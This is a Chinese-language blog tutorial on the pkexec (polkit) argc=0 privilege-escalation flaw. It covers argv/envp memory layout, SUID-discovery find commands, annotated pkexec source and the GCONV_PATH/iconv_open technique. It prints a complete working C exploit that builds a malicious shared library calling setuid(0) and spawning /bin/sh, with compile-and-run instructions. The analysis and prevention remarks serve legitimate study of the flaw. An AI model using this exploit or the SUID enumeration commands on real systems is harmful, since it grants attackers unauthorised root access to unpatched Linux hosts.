c语言相关预备知识其他预备知识一个小实验漏洞分析漏洞利用总结
c语言相关预备知识要点:
c语言或者c++ 语言都要想运行必须要有一个main函数, 其中main函数可以带三个参数,分别为(argc, argv, envp)
函数原型如下:
int main(int argc, char *argv[], char *envp[])
argc是什么?
答: 这是一个整型变量,表示运行程序的命令行传入的参数个数。由于程序的名称默认被看作第一个参数,argc至少是1。
argv是什么?
答:argv[]表示以null为结尾的字符串数组,(个人理解是argv 数组中存储了指针,每个指针指向一个字符串的开头,也就是对应的参数, 最后一个指针 argv[argc] 的值为null); 可以这样定义 char *argv[], 也可以这样定义char **argv。
envp是什么?
答:这是系统的环境变量,内容一般以"名称=值"的形式, 以NULL结束。(可以尝试打印一下,我试了一下,打印出许多变量, 例如HISTSIZE, USER 等)
内存中argv和envp的存放位置关系是什么?(这是一个非常重要的知识点,可以通过argv来访问envp中对应的内容)
内存中存放的位置关系如下。 我尝试了一下argv[argc+1] 的值就是envp[0]的值。
|---------+---------+-----+------------|---------+---------+-----+------------| | argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] | |----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
- execve函数是什么?
答: 可以用这个函数执行shell脚本, 单独的shell命令,或者调用其他的程序。
//使用方式, 需要加入头文件 #include其他预备知识//函数原型: int execve(const char *filename, char *const argv[], char *const envp[]);
SUID是什么?
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ;一个小实验
第一个文件:
// a.c #include#include int main(int argc, char **argv, char** envp) { printf("argv[1]:%sn", argv[1]); }
直接运行的效果如下:
[test@]$ ./a argv[1]: ----- (null)
第二个文件:
//b.c #include#include #include int main(int argc, char * argv[]){ char *a_argv[] = { NULL }; char *a_envp[] = {"lol", NULL}; execve("./a", a_argv, a_envp); }
运行效果如下:
argv[1]: ----- lol
要点:
如果execve中的argv参数不为null,参数在内存中的分布就是"参数 + null". 如果argv参数只包含null, 那么参数在内存中的分布就只是"null".结论: 如果在写c语言代码的时候,不小心把argv溢出了,就有可能把envp[0]覆盖掉,这是漏洞出现的原因。
漏洞分析
pkexec源码地址:
https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c
for (n = 1; n < (guint) argc; n++)//注意,如果不传参数,n的值在这里默认设置为了1 { // 下面的操作基本就是匹配参数,基本可以不用关注。 if (strcmp (argv[n], "--help") == 0) { opt_show_help = TRUE; } else if (strcmp (argv[n], "--version") == 0) { opt_show_version = TRUE; } else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0) { n++; if (n >= (guint) argc) { usage (argc, argv); goto out; } if (opt_user != NULL) { g_printerr ("--user specified twicen"); goto out; } opt_user = g_strdup (argv[n]); } else if (strcmp (argv[n], "--disable-internal-agent") == 0) { opt_disable_internal_agent = TRUE; } else { break; } }
g_assert (argv[argc] == NULL); path = g_strdup (argv[n]); //不传参, 这里的n值为1, 也就是envp[0]的值。 if (path == NULL) { GPtrArray *shell_argv; path = g_strdup (pwstruct.pw_shell); if (!path) { g_printerr ("No shell configured or error retrieving pw_shelln"); goto out; } command_line = g_strdup (path); shell_argv = g_ptr_array_new (); g_ptr_array_add (shell_argv, path); g_ptr_array_add (shell_argv, NULL); exec_argv = (char**)g_ptr_array_free (shell_argv, FALSE); } if (path[0] != '/') { s = g_find_program_in_path (path); // 获取path的路径。envp[0]中指向的值,如果是可执行程序名称, 可以通过该函数获取到路径。 if (s == NULL) { g_printerr ("Cannot run program %s: %sn", path, strerror (ENOENT)); goto out; } g_free (path); argv[n] = path = s; // 这里获取的路径的值,又把envp[0] 中的值给覆盖掉了。 } if (access (path, F_OK) != 0) { g_printerr ("Error accessing %s: %sn", path, g_strerror (errno)); goto out; } if (!command_line) { command_line = g_strjoinv (" ", argv + n); exec_argv = argv + n; }
整理一下, 如果执行pkexec而不带参数,则会发生溢出,在envp中引入可以被构造的环境变量。
- 假设我们执行pkexec,此时argc=0,envp={“xxx”}程序会读取argv[1]到path变量中,也就是"xxx"s = g_find_program_in_path (path)找到该程序的绝对路径,假设为/usr/bin/xxx程序将s写入argv[1]和path,从而覆盖了第一个环境变量。此时envp也就变成了{"/usr/bin/xxx"}
也就是说,这个绝对路径有可能会被利用,改名环境变量,
漏洞利用之前, 还需要了解一个知识点:
在pkexec中多次使用了g_printerr()函数,该函数是调用GLib的函数。但是如果环境变量CHARSET不是UTF-8,g_printerr()将会调用glibc的函数iconv_open(),来将消息从UTF-8转换为另一种格式。
iconv_open函数的执行过程为:iconv_open函数首先会找到系统提供的gconv-modules配置文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置,之后会调用.so文件中的gconv()与gonv_init()函数。
那么利用的思路就来了:
由于我们在上一节已经知道,我们可以人为构造一种场景来改变环境变量,那么是否可以设法在pkexec运行的时候改变环境变量 GCONV_PATH, 从而执行我们的恶意so文件。只要思想不滑坡,办法总比困难多~
具体的利用过程描述如下:
- 首先一个gconv-modules配置文件,放置在./xxx目录下,其内容指向一个准备好的恶意so文件。创建可执行文件xxx,放置在./GCONV_PATH=.目录下,注意目录名称为GCONV_PATH=.然后调用pkexec,argc=0,envp={“xxx”,“PATH=GCONV_PATH=.”,“LC_MESSAGES=en_US.UTF-8”,“XAUTHORITY=…/LOL”, NULL}pkexec执行到610行,path=xxxpkexec执行到632行,找到xxx的具体位置,因为我们制定了环境变量PATH=GCONV_PATH=.,所以会找到xxx的具体位置为GCONV_PATH=./xxxpkexec执行到636行,envp[0] = argv[1] = path= GCONV_PATH=./xxx,此时envp为{“GCONV_PATH=./xxx”,“PATH=GCONV_PATH=.”,“LC_MESSAGES=en_US.UTF-8”}pkexec执行到670行,调用validate_environment_variable函数,因为XAUTHORITY环境变量不合法,触发g_printerr函数,从而调用iconv_open()函数,找到gconv-modules配置文件:./xxx/gconv-modules,然后找到so文件,最终执行so文件。
exp如下:
#include#include #include #include #include #include #include void fatal(char *f) { perror(f); exit(-1); } void compile_so() { FILE *f = fopen("payload.c", "wb"); if (f == NULL) { fatal("fopen"); } char so_code[]= "#include n" "#include n" "#include n" "void gconv() {n" " return;n" "}n" "void gconv_init() {n" " setuid(0); seteuid(0); setgid(0); setegid(0);n" " static char *a_argv[] = { "sh", NULL };n" " static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };n" " execve("/bin/sh", a_argv, a_envp);n" " exit(0);n" "}n"; fwrite(so_code, strlen(so_code), 1, f); fclose(f); system("gcc -o payload.so -shared -fPIC payload.c"); } int main(int argc, char *argv[]) { struct stat st; char *a_argv[]={ NULL }; char *a_envp[]={ "lol", "PATH=GCONV_PATH=.", "LC_MESSAGES=en_US.UTF-8", "XAUTHORITY=../LOL", NULL }; printf("[~] compile helper..n"); compile_so(); if (stat("GCONV_PATH=.", &st) < 0) { if(mkdir("GCONV_PATH=.", 0777) < 0) { fatal("mkdir"); } int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777); if (fd < 0) { fatal("open"); } close(fd); } if (stat("lol", &st) < 0) { if(mkdir("lol", 0777) < 0) { fatal("mkdir"); } FILE *fp = fopen("lol/gconv-modules", "wb"); if(fp == NULL) { fatal("fopen"); } fprintf(fp, "module UTF-8// INTERNAL ../payload 2n"); fclose(fp); } printf("[~] maybe get shell now?n"); execve("/usr/bin/pkexec", a_argv, a_envp); }
使用方式如下:
gcc exp.c -o exp ./exp总结
这里可以小结一下,该漏洞可以利用的条件有哪些:
- pkexec 的c源程序中在不带参数的情况下,使用了argv[1],会导致溢出。execve函数执行pkexec命令时不带参数会有被改写envp[0]的风险。改变环境变量GCONV_PATH的值,会有执行恶意so文件的风险。如果XAUTHORITY环境变量不合法,或者环境变量CHARSET不是UTF-8,g_printerr()将会调用glibc的函数iconv_open()。[这是触发条件]iconv_open() 找到 gconv-modules配置文件,执行指定的so文件。pkexec 有特殊权限suid
思考: 挖掘类似漏洞的思路是啥?
- 不带参数的情况下,有没有引用argv[1]通过改变环境变量能否让程序执行恶意的文件。可执行程序是否拥有特殊权限suid.
思考: 如何避免此类漏洞?
- 指针不要越界,数组不要溢出,做好参数校验。
感受:对于漏洞初学者,这个漏洞的利用方式就是一个字"妙"啊~
主要参考资料:
https://saucer-man.com/information_security/876.html
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)